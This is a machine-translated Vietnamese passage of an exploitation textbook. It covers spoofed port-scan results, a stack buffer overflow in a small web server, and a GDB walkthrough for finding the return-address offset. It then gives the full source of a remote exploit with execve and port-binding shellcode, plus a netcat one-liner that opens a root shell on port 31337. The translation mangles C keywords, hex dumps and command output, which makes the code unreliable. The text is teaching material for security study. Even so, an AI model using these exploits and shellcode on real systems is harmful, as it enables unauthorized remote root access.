Có một vài phần khó hiểu trong đoạn mã trên, nhưng bạn có thể theo dõi
toàn bộ. Khi chương trình được biên dịch và thực thi, nó sẽ che giấu địa chỉ
IP được cung cấp làm đối số đầu tiên, ngoại trừ danh sách các cổng hiện có
được cung cấp làm đối số còn lại.
reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o shroud shroud.c -lnet -lpcap
người đọc@hacking:~/booksrc $ sudo ./shroud 192.168.42.72 22 80
GỠ LỖI: chuỗi bộ lọc là 'dst host 192.168.42.72 và tcp[tcpflags] & tcp-syn != 0 và tcp[tcpflags] & tcpack = 0 chứ không phải (dst port 22 hoặc dst port 80)'
Trong khi shroud đang chạy, mọi nỗ lực quét cổng sẽ hiển thị mọi cổng
đều đang mở.
ma trận@euclid:~ $ sudo nmap -sS 192.168.0.189
Bắt đầu nmap V. 3.00 ( www.insecure.org/nmap/ )
Các cổng thú vị trên (192.168.0.189):
Dịch vụ cảng
Tình trạng
1/tcp
mở
tcpmux
2/tcp
mở
nén mạng
3/tcp
mở
4/tcp
mở
nén mạng
không rõ
5/tcp
mở mở
6/tcp
mở
7/tcp
mở
8/tcp
mở
không rõ
9/tcp
mở mở
bỏ đi
10/tcp
mở
không rõ
11/tcp
mở
hệ thống
12/tcp
mở
không rõ
13/tcp
mở mở
14/tcp
mở
ban ngày
không rõ
15/tcp
mở
16/tcp
mở
17/tcp
mở mở
qotd
18/tcp
mở
msp
19/tcp
mở
sạc
20/tcp
mở
dữ liệu ftp
21/tcp
mở mở
22/tcp
mở
ftp
ssh
rje
không rõ
tiếng vọng
thống kê mạng
không rõ
Mạng lưới 271
Machine Translated by Google
23/tcp
mở
24/tcp
mở mở
25/tcp
telnet
thư riêng
smtp
[ đầu ra được cắt bớt ]
32780/tcp mở 32786/
đôi khi-rpc23
tcp mở 32787/tcp
đôi khi-rpc25
mở 43188/tcp mở
44442/tcp mở 44443/
đôi khi-rpc27
vươn tới
tcp mở 47557/tcp
xác thực coldfusion
mở 49400/tcp mở
xác thực coldfusion
54320/tcp mở 61439/
dbduyệt
tcp mở 61440/tcp
mở 61441/tcp mở
compaqdiag
bo2k
65301/tcp mở
quản lý netprowler
netprowler-manager2
cảm biến netprowler
pcanywhere
Đã hoàn tất chạy Nmap -- 1 địa chỉ IP (1 máy chủ hoạt động) được quét trong 37 giây
ma trận@euclid:~ $
Dịch vụ duy nhất thực sự đang chạy là ssh trên cổng 22, nhưng nó ẩn trong một biển các kết quả dương
tính giả. Một kẻ tấn công chuyên dụng có thể chỉ cần telnet đến mọi cổng để kiểm tra các biểu ngữ, nhưng
kỹ thuật này cũng có thể dễ dàng được mở rộng để giả mạo các biểu ngữ.
0x480 Tiếp cận và Hack Ai đó
Lập trình mạng có xu hướng di chuyển nhiều khối bộ nhớ xung quanh và nặng về ép kiểu. Bạn đã tự mình thấy
một số ép kiểu có thể điên rồ như thế nào. Sai sót phát triển mạnh trong loại hỗn loạn này. Và vì nhiều
chương trình mạng cần chạy dưới dạng root, những sai sót nhỏ này có thể trở thành lỗ hổng nghiêm trọng.
Một lỗ hổng như vậy tồn tại trong mã từ chương này. Bạn có nhận thấy không?
Từ hacking-network.h
/* Hàm này chấp nhận một socket FD và một ptr đến đích
* bộ đệm. Nó sẽ nhận từ ổ cắm cho đến khi byte EOL
*
trình tự được nhìn thấy. Các byte EOL được đọc từ ổ cắm, nhưng
* bộ đệm đích bị chấm dứt trước các byte này.
* Trả về kích thước của dòng đã đọc (không tính byte EOL).
*/
int recv_line(int sockfd, ký tự không dấu *dest_buffer) {
#define EOL "\r\n" // Chuỗi byte cuối dòng
#define KÍCH THƯỚC EOL 2
ký tự không dấu *ptr;
int eol_matched = 0;
ptr = bộ đệm đích;
272 0x400
Machine Translated by Google
while(recv(sockfd, ptr, 1, 0) == 1) { // Đọc một byte đơn.
if(*ptr == EOL[eol_matched]) { // Byte này có khớp với terminator không?
eol_matched++;
if(eol_matched == EOL_SIZE) { // Nếu tất cả các byte đều khớp với terminator,
*(ptr+1-EOL_SIZE) = '\0'; // kết thúc chuỗi.
return strlen(dest_buffer); // Trả về số byte đã nhận.
}
} khác {
eol_matched = 0;
}
ptr++; // Tăng con trỏ tới byte tiếp theo.
}
return 0; // Không tìm thấy ký tự kết thúc dòng.
}
Hàm recv_line() trong hacking-network.h có một lỗi nhỏ là thiếu sót—không có mã nào giới hạn độ
dài. Điều này có nghĩa là các byte đã nhận có thể tràn nếu chúng vượt quá kích thước dest_buffer .
Chương trình máy chủ tinyweb và bất kỳ chương trình nào khác sử dụng hàm này đều dễ bị tấn công.
0x481 Phân tích với GDB
Để khai thác lỗ hổng trong chương trình tinyweb.c, chúng ta chỉ cần gửi các gói tin sẽ ghi đè chiến
lược lên địa chỉ trả về. Đầu tiên, chúng ta cần biết độ lệch từ đầu bộ đệm mà chúng ta kiểm soát đến
địa chỉ trả về được lưu trữ. Sử dụng GDB, chúng ta có thể phân tích chương trình đã biên dịch để
tìm ra điều này; tuy nhiên, có một số chi tiết tinh tế có thể gây ra các vấn đề khó khăn. Ví dụ,
chương trình yêu cầu quyền root, vì vậy trình gỡ lỗi phải được chạy dưới dạng root. Nhưng sử dụng
sudo hoặc chạy với môi trường của root sẽ thay đổi ngăn xếp, nghĩa là các địa chỉ được thấy trong lần
chạy nhị phân của trình gỡ lỗi sẽ không khớp với các địa chỉ khi nó chạy bình thường. Có những khác
biệt nhỏ khác có thể dịch chuyển bộ nhớ xung quanh trong trình gỡ lỗi như thế này, tạo ra sự không nhất
quán có thể gây khó chịu khi theo dõi. Theo trình gỡ lỗi, mọi thứ sẽ có vẻ như hoạt động; tuy nhiên,
khai thác không thành công khi chạy bên ngoài trình gỡ lỗi, vì các địa chỉ khác nhau.
Một giải pháp thanh lịch cho vấn đề này là đính kèm vào quy trình sau khi nó đã chạy. Trong đầu ra
bên dưới, GDB được sử dụng để đính kèm vào một quy trình tinyweb đã chạy được bắt đầu trong một thiết
bị đầu cuối khác. Mã nguồn được biên dịch lại bằng tùy chọn -g để bao gồm các ký hiệu gỡ lỗi mà GDB có
thể áp dụng cho quy trình đang chạy.
reader@hacking:~/booksrc $ ps aux | grep tinyweb
root 13019 0.0 0.0 1504 344 điểm/0 reader 13104 0.0 0.0 2880 748
S+ 20:25 0:00 ./tinyweb
điểm/2 R+ 20:27 0:00 grep tinyweb
reader@hacking:~/booksrc $ gcc -g tinyweb.c
reader@hacking:~/booksrc $ sudo gdb -q --pid=13019 --symbols=./a.out
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Đính kèm vào quy trình 13019
/cow/home/reader/booksrc/tinyweb: Không có tệp hoặc thư mục nào như vậy.
Một chương trình đang được gỡ lỗi. Giết nó? (y hoặc n) n
Chương trình không bị tắt.
Mạng lưới 273
Machine Translated by Google
(gdb) bt
#0 0xb7fe77f2 trong ?? ()
#1 0xb7f691e1 trong ?? ()
#2 0x08048ccf trong main () tại tinyweb.c:44
(gdb) danh sách 44
39
nếu (lắng nghe(sockfd, 20) == -1)
40
fatal("đang lắng nghe trên socket");
41
42
while(1) { // Chấp nhận vòng lặp
43
sin_size = sizeof(cấu trúc sockaddr_in);
44
new_sockfd = chấp nhận(sockfd, (struct sockaddr *)&client_addr, &sin_size);
45
nếu(new_sockfd == -1)
46
fatal("đang chấp nhận kết nối");
47
48 xử lý_kết nối(new_sockfd, &client_addr);
(gdb) danh sách handle_connection
53
/* Hàm này xử lý kết nối trên socket được truyền từ
54 * đã chuyển địa chỉ máy khách. Kết nối được xử lý như một yêu cầu web
55
* và hàm này trả lời qua socket được kết nối. Cuối cùng, socket được truyền qua * sẽ
56
được đóng lại khi hàm kết thúc.
*/
57
58
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {
59
unsigned char *ptr, yêu cầu[500], tài nguyên[500];
60
int fd, độ dài;
61
chiều dài = recv_line(sockfd, yêu cầu);
62 (gdb) phá vỡ 62
Điểm dừng 1 tại 0x8048d02: tệp tinyweb.c, dòng 62.
(gdb) tiếp theo
Tiếp tục.
Sau khi đính kèm vào tiến trình đang chạy, một stack backtrace cho thấy chương trình
hiện đang ở main(), đang chờ kết nối. Sau khi đặt điểm dừng tại lệnh gọi recv_line() đầu
tiên trên dòng 62(), chương trình được phép tiếp tục.
Tại thời điểm này, việc thực thi chương trình phải được nâng cao bằng cách thực hiện yêu
cầu web bằng wget trong một thiết bị đầu cuối khác hoặc trình duyệt. Sau đó, điểm dừng
trong handle_connection() sẽ được nhấn.
Điểm dừng 2, handle_connection (sockfd=4, client_addr_ptr=0xbffff810) tại tinyweb.c:62
62
chiều dài = recv_line(sockfd, yêu cầu);
(gdb) x/x yêu cầu
0xbffff5c0:
0x00000000
(gdb) bt
#0 handle_connection (sockfd=4, client_addr_ptr=0xbffff810) tại tinyweb.c:62
#1 0x08048cf6 trong main () tại tinyweb.c:48
(gdb) x/16xw yêu cầu+500
0xbffff7b4: 0xb7fd5ff4
0xb8000ce0
0x00000000
0xbffff848
0xbffff7c4: 0xb7ff9300
0xb7fd5ff4
0xbffff7e0
0xb7f691c0
0xbffff7d4: 0xb7fd5ff4
0xbffff848
0x08048cf6
0x00000004
0xbffff7e4: 0xbffff810 (gdb) x/
0xbffff80c
0xbffff834
0x00000004
x 0xbffff7d4+8
0xbffff7dc: 0x08048cf6
(gdb) p 0xbffff7dc - 0xbffff5c0
274 0x400
Machine Translated by Google
1 = 540
(gdb) p /x 0xbffff5c0 + 200
$2 = 0xbffff688
(gdb) thoát
Chương trình đang chạy. Hãy thoát (và tách nó ra)? (y hoặc n) y
Tách khỏi chương trình: , tiến trình 13019
người đọc@hacking:~/booksrc $
Tại điểm dừng, bộ đệm yêu cầu bắt đầu tại 0xbfffff5c0 . Dấu vết ngăn xếp của lệnh
bt cho thấy địa chỉ trả về từ handle_connection()
là 0x08048cf6. Vì chúng ta biết cách các biến cục bộ thường được bố trí trên ngăn xếp, nên chúng ta biết
bộ đệm yêu cầu nằm gần cuối khung. Điều này có nghĩa là địa chỉ trả về được lưu trữ phải nằm trên ngăn
xếp ở đâu đó gần cuối bộ đệm 500 byte này. Vì chúng ta đã biết vùng chung cần xem, nên một cuộc kiểm
tra nhanh cho thấy địa chỉ trả về được lưu trữ là 0xbffff7dc (). Một chút toán học cho thấy địa chỉ trả
về được lưu trữ cách 540 byte từ đầu bộ đệm yêu cầu. Tuy nhiên, có một vài byte gần đầu bộ đệm có thể bị
phần còn lại của hàm làm hỏng. Hãy nhớ rằng, chúng ta không kiểm soát được chương trình cho đến khi hàm
trả về. Để tính đến điều này, tốt nhất là chỉ nên tránh phần đầu của bộ đệm. Bỏ qua 200 byte đầu tiên
sẽ an toàn, trong khi vẫn để lại nhiều không gian cho shellcode trong 300 byte còn lại. Điều này
có nghĩa là 0xbffff688 là địa chỉ trả về mục tiêu.
0x482 Hầu như chỉ tính bằng lựu đạn cầm tay
Khai thác sau đây cho chương trình tinyweb sử dụng các giá trị ghi đè địa chỉ
trả về và bù trừ được tính toán bằng GDB. Nó điền vào bộ đệm khai thác bằng các
byte null, do đó bất kỳ thứ gì được ghi vào đó sẽ tự động bị chấm dứt bằng null.
Sau đó, nó điền 540 byte đầu tiên bằng các lệnh NOP. Điều này xây dựng NOP sled
và điền vào bộ đệm cho đến vị trí ghi đè địa chỉ trả về. Sau đó, toàn bộ chuỗi
được kết thúc bằng ký tự kết thúc dòng '\r\n' .
tinyweb_exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "hacking.h"
#include "hacking-network.h"
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // shellcode tiêu chuẩn
#define BÙ ĐẮT 540
Mạng lưới 275
Machine Translated by Google
#define RETADDR 0xbffff688
int main(int argc, char *argv[]) { int
sockfd, buflen; struct
hostent *host_info; struct
sockaddr_in target_addr; bộ đệm char
không dấu[600];
if(argc < 2)
{ printf("Cách sử dụng: %s <tên máy chủ>\n",
argv[0]); exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("đang tìm kiếm tên máy chủ");
nếu ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("trong socket");
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(80);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8); // Đặt phần còn lại của struct về 0.
nếu (kết nối(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("đang
kết nối tới máy chủ mục tiêu");
bzero(buffer, 600); // Xóa bộ đệm về 0. memset(buffer, '\x90', OFFSET); // Xây dựng một NOP
sled. *((u_int *)(buffer + OFFSET)) = RETADDR; // Đặt địa chỉ trả về vào memcpy(buffer+300,
shellcode, strlen(shellcode)); // shellcode. strcat(buffer, "\r\n"); // Kết thúc chuỗi.
printf("Exploit buffer:\n"); dump(buffer, strlen(buffer)); // Hiển thị bộ đệm khai thác.
send_string(sockfd, buffer); // Gửi bộ đệm khai thác dưới dạng yêu cầu HTTP.
thoát(0);
}
Khi chương trình này được biên dịch, nó có thể khai thác từ xa các máy
chủ chạy chương trình tinyweb, lừa chúng chạy shellcode. Khai thác cũng đổ
các byte của bộ đệm khai thác trước khi gửi. Trong đầu ra bên dưới, chương
trình tinyweb được chạy trong một thiết bị đầu cuối khác và khai thác được
thử nghiệm với nó. Đây là đầu ra từ thiết bị đầu cuối của kẻ tấn công:
reader@hacking:~/booksrc $ gcc tinyweb_exploit.c
reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Bộ đệm
khai thác: 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ............
276 0x400
Machine Translated by Google
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................... 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................... 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 | ................... 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31db
| ............1.1. 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 |
1......j.XQh//sh 68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/
bin..Q ..S..... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| . ............... 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf
| ................ 0ngày 0a | ..
người đọc@hacking:~/booksrc $
Quay lại terminal chạy chương trình tinyweb, đầu ra cho thấy bộ đệm khai
thác đã được nhận và shellcode được thực thi. Điều này sẽ cung cấp rootshell,
nhưng chỉ dành cho console chạy server. Thật không may, chúng ta không ở
console, vì vậy điều này sẽ không có ích gì. Tại console server, chúng ta
thấy như sau:
reader@hacking:~/booksrc $ ./tinyweb Đang
chấp nhận các yêu cầu web trên cổng 80
Đã nhận được yêu cầu từ 127.0.0.1:53908 "GET / HTTP/1.1"
Mở './webroot/index.html' 200 OK Đã nhận được
yêu cầu từ 127.0.0.1:40668 "GET /image.jpg HTTP/1.1"
Mở './webroot/image.jpg'
200 OK
Đã nhận được yêu cầu từ 127.0.0.1:58504
"
111 giờ
XQh//suỵt/binQS
"
KHÔNG PHẢI
HTTP! sh-3.2#
Mạng lưới 277
Machine Translated by Google
Lỗ hổng chắc chắn tồn tại, nhưng shellcode không làm những gì chúng ta
muốn trong trường hợp này. Vì chúng ta không ở bảng điều khiển, shellcode chỉ là
một chương trình độc lập, được thiết kế để tiếp quản một chương trình khác để mở shell.
Sau khi kiểm soát được con trỏ thực thi của chương trình, shellcode được tiêm có
thể làm bất cứ điều gì. Có nhiều loại shellcode khác nhau có thể được sử dụng trong
các tình huống khác nhau (hoặc tải trọng). Mặc dù không phải tất cả shellcode đều
thực sự tạo ra shell, nhưng nó vẫn thường được gọi là shellcode.
Shellcode liên kết cổng 0x483
Khi khai thác một chương trình từ xa, việc tạo ra shell cục bộ là vô nghĩa.
Shellcode liên kết cổng lắng nghe kết nối TCP trên một cổng nhất định và phục vụ
shell từ xa. Giả sử bạn đã có shellcode liên kết cổng sẵn sàng, việc sử dụng
shellcode này chỉ đơn giản là thay thế các byte shellcode được xác định trong khai
thác. Shellcode liên kết cổng được bao gồm trong LiveCD sẽ liên kết với cổng 31337. Các
byte shellcode này được hiển thị trong đầu ra bên dưới.
reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92
portbinding_shellcode
reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode 00000000 6a
66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....jY?|
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//suỵt/b|
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80
|trong..R..S....|
0000005c
reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cắt -c8-80 | sed -e 's/ /\\x/g'
\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10
\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80
\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f
\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80
người đọc@hacking:~/booksrc $
Sau một số định dạng nhanh, các byte này được hoán đổi thành các byte shellcode của chương trình
tinyweb_exploit.c, tạo ra tinyweb_exploit2.c. Dòng shellcode mới được hiển thị bên dưới.
Dòng mới từ tinyweb_exploit2.c
char shellcode[]=
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
"\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"
"\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
// Shellcode liên kết cổng trên cổng 31337
278 0x400
Machine Translated by Google
Khi khai thác này được biên dịch và chạy trên máy chủ chạy tinyweb server,
shellcode sẽ lắng nghe trên cổng 31337 để kết nối TCP. Trong đầu ra bên dưới,
một chương trình có tên là nc được sử dụng để kết nối với shell. Chương trình
này là netcat ( viết tắt là nc), hoạt động giống như chương trình cat nhưng qua
mạng. Chúng ta không thể chỉ sử dụng telnet để kết nối vì nó tự động chấm dứt
tất cả các dòng gửi đi bằng '\r\n'. Đầu ra của khai thác này được hiển thị bên
dưới. Tùy chọn dòng lệnh -vv được chuyển cho netcat chỉ để làm cho nó chi tiết hơn.
reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c
reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Bộ đệm
khai thác: 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 | ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90
90 90 6a 66 58 99 | ............jfX. 31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66
58 | 1.CRj.j......jfX 43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |
CRfhzifS..j.QV.. cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR
52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....jY?..Iy f9 b0 0b 52 68
2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin.. 52 89 e2 53 89 e1 cd 80 90 90
90 90 90 90 90 90 90 | R..S............ 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................... 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
| ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf
| ................ 0d 0a | .. reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) mở whoami
root
ls -l /etc/passwd -rwr--r-- 1 root root 1545 9 tháng 9 16:24 /etc/passwd
Mạng lưới 279
Machine Translated by Google
Mặc dù shell từ xa không hiển thị lời nhắc, nhưng nó vẫn chấp nhận lệnh và trả
về kết quả qua mạng.
Một chương trình như netcat có thể được sử dụng cho nhiều mục đích khác. Nó được
thiết kế để hoạt động như một chương trình điều khiển, cho phép đầu vào và đầu ra chuẩn
được chuyển hướng và chuyển hướng. Sử dụng netcat và shellcode liên kết cổng trong một
tệp, cùng một khai thác có thể được thực hiện trên dòng lệnh.
reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92
portbinding_shellcode
người đọc@hacking:~/booksrc $ echo $((540+4 - 300 - 92))
152
người đọc@hacking:~/booksrc $ echo $((152 / 4))
38
người đọc@hacking:~/booksrc $ (perl -e 'in "\x90"x300';
> cat portbinding_shellcode
> perl -e 'in "\x88\xf6\xff\xbf"x38 . \r\n"')
RfhzifSj QV
fCCSV
fCRRV
jfX1CRjj
jfXC
j Y? Tôi
Rh//suỵt/binRS
người đọc@hacking:~/booksrc $ (perl -e 'in "\x90"x300'; cat portbinding_shellcode; perl
-e 'in "\x88\xf6\xff\xbf"x38 . "\r\n"') | nc -v -w1 127.0.0.1 80
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $ nc -v 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) mở
ai đó
gốc rễ
Trong đầu ra ở trên, trước tiên, độ dài của shellcode liên kết cổng được hiển
thị là 92 byte. Địa chỉ trả về được tìm thấy cách đầu bộ đệm 540 byte, vì vậy với NOP
sled 300 byte và 92 byte shellcode, có 152 byte ghi đè địa chỉ trả về. Điều này có
nghĩa là nếu địa chỉ trả về đích được lặp lại 38 lần ở cuối bộ đệm, thì địa chỉ cuối
cùng sẽ ghi đè. Cuối cùng, bộ đệm được kết thúc bằng '\r\n'. Các lệnh xây dựng bộ đệm
được nhóm bằng dấu ngoặc đơn để dẫn bộ đệm vào netcat. netcat kết nối với chương trình
tinyweb và gửi bộ đệm. Sau khi shellcode chạy, netcat cần được ngắt ra bằng cách nhấn
CTRL-C, vì kết nối ổ cắm ban đầu vẫn mở. Sau đó, netcat được sử dụng lại để kết nối
với shell được liên kết trên cổng 31337.
280 0x400
Machine Translated by Google
0x500
MÃ VỎ
Cho đến nay, shellcode được sử dụng trong các khai thác của chúng tôi
chỉ là một chuỗi các byte được sao chép và dán. Chúng tôi đã thấy shellcode
sinh ra shell chuẩn cho các khai thác cục bộ và shellcode liên kết cổng
cho các khai thác từ xa. Shellcode đôi khi cũng được gọi là tải trọng khai
thác, vì các chương trình độc lập này thực hiện công việc thực sự sau khi một
chương trình đã bị hack. Shellcode thường sinh ra một shell, vì đó là một
cách thanh lịch để chuyển giao quyền kiểm soát; nhưng nó có thể làm bất cứ
điều gì một chương trình có thể làm.
Thật không may, đối với nhiều hacker, câu chuyện về shellcode chỉ dừng lại ở
việc sao chép và dán byte. Những hacker này chỉ mới bắt đầu khám phá những gì có thể.
Shellcode tùy chỉnh cho phép bạn kiểm soát tuyệt đối chương trình bị khai thác.
Có lẽ bạn muốn shellcode của mình thêm tài khoản quản trị vào /etc/passwd hoặc tự
động xóa các dòng khỏi tệp nhật ký. Khi bạn biết cách viết shellcode của riêng
mình, các khai thác của bạn chỉ bị giới hạn bởi trí tưởng tượng của bạn. Ngoài
ra, việc viết shellcode phát triển các kỹ năng ngôn ngữ lắp ráp và sử dụng một số
kỹ thuật hack đáng để biết.
Machine Translated by Google
0x510 Lắp ráp so với C
Các byte shellcode thực chất là các lệnh máy cụ thể theo kiến trúc, do đó shellcode
được viết bằng ngôn ngữ assembly. Viết chương trình bằng assembly khác với viết bằng
C, nhưng nhiều nguyên tắc thì giống nhau.
Hệ điều hành quản lý những thứ như đầu vào, đầu ra, kiểm soát quy trình, truy cập tệp
và giao tiếp mạng trong nhân. Các chương trình C biên dịch cuối cùng thực hiện các
tác vụ này bằng cách thực hiện các lệnh gọi hệ thống đến nhân. Các hệ điều hành khác
nhau có các tập lệnh gọi hệ thống khác nhau.
Trong C, các thư viện chuẩn được sử dụng vì sự tiện lợi và tính di động. Chương
trình AC sử dụng printf() để xuất ra chuỗi có thể được biên dịch cho nhiều hệ thống
khác nhau, vì thư viện biết các lệnh gọi hệ thống phù hợp cho nhiều kiến trúc khác
nhau. Chương trình AC được biên dịch trên bộ xử lý x86 sẽ tạo ra ngôn ngữ lắp ráp x86.
Theo định nghĩa, ngôn ngữ lắp ráp đã dành riêng cho một bộ xử lý nhất định
kiến trúc, do đó tính di động là không thể. Không có thư viện chuẩn; thay vào đó, các
lệnh gọi hệ thống hạt nhân phải được thực hiện trực tiếp. Để bắt đầu so sánh, chúng ta
hãy viết một chương trình C đơn giản, sau đó viết lại bằng x86 assembly.
xin chào thế giới.c
#include <stdio.h>
int chính() {
printf("Xin chào thế giới!\n");
trả về 0;
}
Khi chương trình biên dịch được chạy, quá trình thực thi sẽ chạy qua thư viện I/O chuẩn, cuối cùng
